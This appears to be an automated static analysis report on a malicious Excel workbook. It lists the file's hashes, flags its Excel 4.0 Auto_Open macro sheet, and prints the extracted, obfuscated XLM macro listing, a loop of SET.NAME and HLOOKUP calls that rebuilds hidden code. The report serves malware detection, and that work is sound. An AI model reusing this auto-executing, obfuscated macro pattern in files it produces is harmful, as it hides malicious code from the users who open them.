Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dcd4874cc99496de…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:07 Authoring application: Microsoft Excel First seen: 2022-06-20
MD5: 3b64d0648b7c3ba9946e401e3f98df52 SHA-1: 4b06eae91b79e7ff9cb379614b766824931a1e17 SHA-256: dcd4874cc99496de469462546d5917cdc983838a689cb0ae3a83039b7ea0b0fc
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6611 bytes
SHA-256: 229dba2b00cd636a2f53f9f31bc57a8ca56538d062ebeb809304d25af1495ab5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GlBV
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E174 
' 0018     20 LABEL : Cell Value, String Constant - CoEiq len=0 
' 0018     25 LABEL : Cell Value, String Constant - cooxaiGodK len=0 
' 0018     21 LABEL : Cell Value, String Constant - cQTDIo len=0 
' 0018     24 LABEL : Cell Value, String Constant - ESkQjBCJF len=0 
' 0018     21 LABEL : Cell Value, String Constant - gHcCsd len=0 
' 0018     27 LABEL : Cell Value, String Constant - IfBMLHsTUKGP len=0 
' 0018     27 LABEL : Cell Value, String Constant - IraVpSvxpYbh len=0 
' 0018     20 LABEL : Cell Value, String Constant - KDnIY len=0 
' 0018     26 LABEL : Cell Value, String Constant - ngxLORAerGo len=0 
' 0018     26 LABEL : Cell Value, String Constant - NtNGwcMVAhW len=0 
' 0018     23 LABEL : Cell Value, String Constant - pjabnscQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - PpaiASCJUz len=0 
' 0018     25 LABEL : Cell Value, String Constant - rSIrmQuGCJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - RVQMILdLkSgq len=0 
' 0018     25 LABEL : Cell Value, String Constant - UARWbrRSbw len=0 
' 0018     27 LABEL : Cell Value, String Constant - ujfVGqfQcPfJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - uOXburb len=0 
' 0018     20 LABEL : Cell Value, String Constant - vrABo len=0 
' 0018     23 LABEL : Cell Value, String Constant - YueoQHsH len=0 
' 0018     21 LABEL : Cell Value, String Constant - zPGTfn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GlBV,S49,"",-256.00000000000000000000
'  GlBV,S50,"",-51.00000000000000000000
'  GlBV,S51,"",-679.00000000000000000000
'  GlBV,S52,"",-703.00000000000000000000
'  GlBV,S53,"",-665.00000000000000000000
'  GlBV,S54,"",881.00000000000000000000
'  GlBV,E78,"SET.NAME("cooxaiGodK",0+VALUE("0"))",""
'  GlBV,E80,"SET.NAME("uOXburb",cooxaiGodK)",""
'  GlBV,E83,"SET.NAME("cQTDIo",cooxaiGodK)",""
'  GlBV,E86,"SET.NAME("KDnIY",COUNTA(ngxLORAerGo))",""
'  GlBV,E89,"SET.NAME("zPGTfn",COUNTA(IraVpSvxpYbh))",""
'  GlBV,E92,[],""
'  GlBV,E94,"SET.NAME("vrABo","")",""
'  GlBV,E98,"uOXburb",""
'  GlBV,E102,"SET.NAME("pjabnscQ",HLOOKUP("*",ngxLORAerGo,uOXburb,FALSE))",""
'  GlBV,E107,"IfBMLHsTUKGP",""
'  GlBV,E111,"SET.NAME("ujfVGqfQcPfJ",cooxaiGodK)",""
'  GlBV,E115,[],""
'  GlBV,E118,"ujfVGqfQcPfJ",""
'  GlBV,E123,"YueoQHsH",""
'  GlBV,E128,"rSIrmQuGCJ",""
'  GlBV,E132,"gHcCsd",""
'  GlBV,E137,"SET.NAME("ESkQjBCJF",VALUE(HLOOKUP("*",IraVpSvxpYbh,gHcCsd,FALSE)))",""
'  GlBV,E140,"NtNGwcMVAhW",""
'  GlBV,E145,"vrABo",""
'  GlBV,E149,"cQTDIo",""
'  GlBV,E152,NEXT(),""
'  GlBV,E157,"UARWbrRSbw",""
'  GlBV,E160,[],""
'  GlBV,E163,"CoEiq",""
'  GlBV,E166,NEXT(),""
'  GlBV,E171,RETURN(),""
'  GlBV,E195,"SET.NAME("RVQMILdLkSgq",E78)",""
'  GlBV,E199,"ngxLORAerGo",""
'  GlBV,E203,"SET.NAME("IraVpSvxpYbh",R69C12)",""
'  GlBV,E207,"SET.NAME("CoEiq",212)",""
'  GlBV,E209,"SET.NAME("PpaiASCJUz",5)",""
'  GlBV,E211,RVQMILdLkSgq(),""
'  GlBV,E212,HALT(),""

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